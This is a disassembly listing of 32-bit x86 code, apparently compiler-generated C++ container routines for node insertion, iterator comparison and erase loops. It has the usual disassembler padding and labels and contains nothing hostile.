; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4151D0 proc near ; CODE XREF: sub_40147Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401D89
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40215D
sub_4151D0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415210 proc near ; CODE XREF: sub_401258j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_401D89
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_4012E9
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401D5C
test al, al
jz short loc_415291
push edi
mov edi, [esp+14h+arg_0]
loc_415243: ; CODE XREF: sub_415210+7Ej
lea ecx, [esp+14h+var_C]
call sub_401FA5
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415275
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_40156E
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401FAF
; ---------------------------------------------------------------------------
jmp short loc_41527E
; ---------------------------------------------------------------------------
loc_415275: ; CODE XREF: sub_415210+42j
lea ecx, [esp+14h+var_C]
call sub_4020A4
loc_41527E: ; CODE XREF: sub_415210+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401D5C
test al, al
jnz short loc_415243
pop edi
loc_415291: ; CODE XREF: sub_415210+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415210 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152D0 proc near ; CODE XREF: sub_401E1Fj
push esi
mov esi, ecx
call sub_401EB5
mov eax, esi
pop esi
retn
sub_4152D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152F0 proc near ; CODE XREF: sub_401FA5j
mov eax, [ecx]
push eax
call sub_401EFB
add esp, 4
retn
sub_4152F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415310 proc near ; CODE XREF: sub_4020A4j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40208B
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415310 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415340 proc near ; CODE XREF: sub_401D5Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015CD
neg al
sbb eax, eax
inc eax
retn 4
sub_415340 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415370 proc near ; CODE XREF: sub_401F05j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401C7B
sub_415370 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4153B0 proc near ; CODE XREF: sub_4011B8j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402234
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401983
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401E1A
sub_4153B0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415420 proc near ; CODE XREF: sub_401983j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401249
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401CC6
mov eax, esi
pop esi
retn 4
sub_415420 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415460 proc near ; CODE XREF: sub_402234j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401CC6
mov eax, esi
pop esi
retn 4
sub_415460 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415490 proc near ; CODE XREF: sub_401EF1j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_402234
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A96
sub_415490 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4154D0 proc near ; CODE XREF: sub_401924j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402234
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401983
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
pop esi
add esp, 0Ch
retn
sub_4154D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415520 proc near ; CODE XREF: sub_401154j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_402234
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_401983
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401AD7
test al, al
jz short loc_4155A1
push edi
mov edi, [esp+14h+arg_0]
loc_415553: ; CODE XREF: sub_415520+7Ej
lea ecx, [esp+14h+var_C]
call sub_4011D1
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415585
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_4017DF
; ---------------------------------------------------------------------------
jmp short loc_41558E
; ---------------------------------------------------------------------------
loc_415585: ; CODE XREF: sub_415520+42j
lea ecx, [esp+14h+var_C]
call sub_4018B6
loc_41558E: ; CODE XREF: sub_415520+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401AD7
test al, al
jnz short loc_415553
pop edi
loc_4155A1: ; CODE XREF: sub_415520+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415520 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4155E0 proc near ; CODE XREF: sub_401037j
push esi
mov esi, ecx
call sub_401E79
mov eax, esi
pop esi
retn
sub_4155E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415600 proc near ; CODE XREF: sub_4011D1j
mov eax, [ecx]
push eax
call sub_402126
add esp, 4
retn
sub_415600 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415620 proc near ; CODE XREF: sub_4018B6j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415620 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415650 proc near ; CODE XREF: sub_401AD7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401EA6
neg al
sbb eax, eax
inc eax
retn 4
sub_415650 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415680 proc near ; CODE XREF: sub_401843j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401DA2
sub_415680 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4156C0 proc near ; CODE XREF: sub_4014B5j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4018F2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401401
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401EF6
sub_4156C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415730 proc near ; CODE XREF: sub_4018F2j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401BB8
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D66
mov eax, esi
pop esi
retn 4
sub_415730 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415770 proc near ; CODE XREF: sub_40114Aj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D66
mov eax, esi
pop esi
retn 4
sub_415770 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4157A0 proc near ; CODE XREF: sub_401406j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40114A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401CFD
sub_4157A0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4157E0 proc near ; CODE XREF: sub_401C62j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4018F2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401401
pop esi
add esp, 0Ch
retn
sub_4157E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415830 proc near ; CODE XREF: sub_402130j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_40114A
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_4018F2
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401339
test al, al
jz short loc_4158B1
push edi
mov edi, [esp+14h+arg_0]
loc_415863: ; CODE XREF: sub_415830+7Ej
lea ecx, [esp+14h+var_C]
call sub_40135C
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415895
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_401EA1
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
jmp short loc_41589E
; ---------------------------------------------------------------------------
loc_415895: ; CODE XREF: sub_415830+42j
lea ecx, [esp+14h+var_C]
call sub_40118B
loc_41589E: ; CODE XREF: sub_415830+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401339
test al, al
jnz short loc_415863
pop edi
loc_4158B1: ; CODE XREF: sub_415830+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415830 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4158F0 proc near ; CODE XREF: sub_402252j
push esi
mov esi, ecx
call sub_401E29
mov eax, esi
pop esi
retn
sub_4158F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415910 proc near ; CODE XREF: sub_40135Cj
mov eax, [ecx]
push eax
call sub_4017DA
add esp, 4
retn
sub_415910 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415930 proc near ; CODE XREF: sub_40118Bj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401BB8
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415930 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415960 proc near ; CODE XREF: sub_401339j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40144C
neg al
sbb eax, eax
inc eax
retn 4
sub_415960 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415990 proc near ; CODE XREF: sub_40113Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40208B
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401753
mov eax, esi
pop esi
retn 4
sub_415990 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4159D0 proc near ; CODE XREF: sub_4016CCj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401753
mov eax, esi
pop esi
retn 4
sub_4159D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415A00 proc near ; CODE XREF: sub_40215Dj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C4E
mov edi, eax
push edi
call sub_401104
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401EBA
sub_415A00 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401104
push edi
mov [eax], ebx
call sub_401104
mov edi, [eax]
push edi
call sub_401104
mov ecx, [eax]
push ecx
call sub_40208B
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401EFB
add esp, 4
mov ecx, esi
push eax
call sub_402194
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401DA7
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415AA0 proc near ; CODE XREF: sub_40172Bj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
lea eax, [esp+4+arg_8]
lea ecx, [esp+4+arg_4]
push eax
call sub_401CA8
test al, al
jz short loc_415AED
push edi
mov edi, [esp+8+arg_0]
loc_415ABA: ; CODE XREF: sub_415AA0+4Aj
lea ecx, [esp+8+arg_4]
call sub_401A4B
push eax
lea ecx, [esp+0Ch+arg_0]
push edi
push ecx
mov ecx, esi
call sub_40215D
; ---------------------------------------------------------------------------
lea ecx, [esp+8+arg_4]
call sub_4020EF
lea edx, [esp+8+arg_8]
lea ecx, [esp+8+arg_4]
push edx
call sub_401CA8
test al, al
jnz short loc_415ABA
pop edi
loc_415AED: ; CODE XREF: sub_415AA0+13j
pop esi
retn 0Ch
sub_415AA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415B20 proc near ; CODE XREF: sub_401FAFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40156E
mov ecx, eax
call sub_401C4E
mov esi, eax
push esi
call sub_40208B
push esi
mov ebx, eax
call sub_401104
mov ecx, [eax]
push ecx
call sub_40208B
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401104
push esi
mov ebx, eax
call sub_40208B
mov eax, [eax]
push eax
call sub_401104
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401EFB
add esp, 1Ch
mov ecx, edi
push eax
call sub_4014F6
push esi
mov ecx, edi
call sub_401CD5
sub_415B20 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415BE0 proc near ; CODE XREF: sub_401465j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401D5C
test al, al
jz short loc_415C3A
loc_415BF8: ; CODE XREF: sub_415BE0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40156E
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401FAF
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401D5C
test al, al
jnz short loc_415BF8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415C3A: ; CODE XREF: sub_415BE0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415BE0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415C70 proc near ; CODE XREF: sub_401EBAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4020D6
sub_415C70 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_415C85
mov edi, esi
loc_415C85: ; CODE XREF: ___:00415C81j
push esi
call sub_40208B
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_415C9A
mov edi, esi
loc_415C9A: ; CODE XREF: ___:00415C96j
push esi
call sub_401104
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415CC0 proc near ; CODE XREF: sub_401CD5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401E01
sub_415CC0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415CE0 proc near ; CODE XREF: sub_40208Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_415CE0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D00 proc near ; CODE XREF: sub_401EFBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_415D00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D20 proc near ; CODE XREF: sub_401EB5j
mov eax, ecx
retn
sub_415D20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D40 proc near ; CODE XREF: sub_401DA7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401753
mov eax, esi
pop esi
retn 4
sub_415D40 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D70 proc near ; CODE XREF: sub_40156Ej
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4020A4
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_415D70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415DA0 proc near ; CODE XREF: sub_4015CDj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_415DA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415DD0 proc near ; CODE XREF: sub_401A96j
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401F6E
mov edi, eax
push edi
call sub_401163
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401C7B
sub_415DD0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401163
push edi
mov [eax], ebx
call sub_401163
mov edi, [eax]
push edi
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_402126
add esp, 4
mov ecx, esi
push eax
call sub_4015E6
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401CC6
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415E70 proc near ; CODE XREF: sub_4017DFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4010DC
mov ecx, eax
call sub_401F6E
mov esi, eax
push esi
call sub_401249
push esi
mov ebx, eax
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401163
push esi
mov ebx, eax
call sub_401249
mov eax, [eax]
push eax
call sub_401163
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_402126
add esp, 1Ch
mov ecx, edi
push eax
call sub_401D4D
push esi
mov ecx, edi
call sub_401E1A
sub_415E70 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415F30 proc near ; CODE XREF: sub_40132Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401AD7
test al, al
jz short loc_415F8A
loc_415F48: ; CODE XREF: sub_415F30+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4017DF
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401AD7
test al, al
jnz short loc_415F48
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415F8A: ; CODE XREF: sub_415F30+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415F30 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415FC0 proc near ; CODE XREF: sub_401C7Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4015A5
sub_415FC0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_415FD5
mov edi, esi
loc_415FD5: ; CODE XREF: ___:00415FD1j
push esi
call sub_401249
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_415FEA
mov edi, esi
loc_415FEA: ; CODE XREF: ___:00415FE6j
push esi
call sub_401163
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416010 proc near ; CODE XREF: sub_401E1Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4010D7
sub_416010 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416030 proc near ; CODE XREF: sub_401249j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416030 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416050 proc near ; CODE XREF: sub_402126j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_416050 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416070 proc near ; CODE XREF: sub_401E79j
mov eax, ecx
retn
sub_416070 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416090 proc near ; CODE XREF: sub_401CC6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401357
mov eax, esi
pop esi
retn 4
sub_416090 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4160C0 proc near ; CODE XREF: sub_4010DCj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4018B6
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4160C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
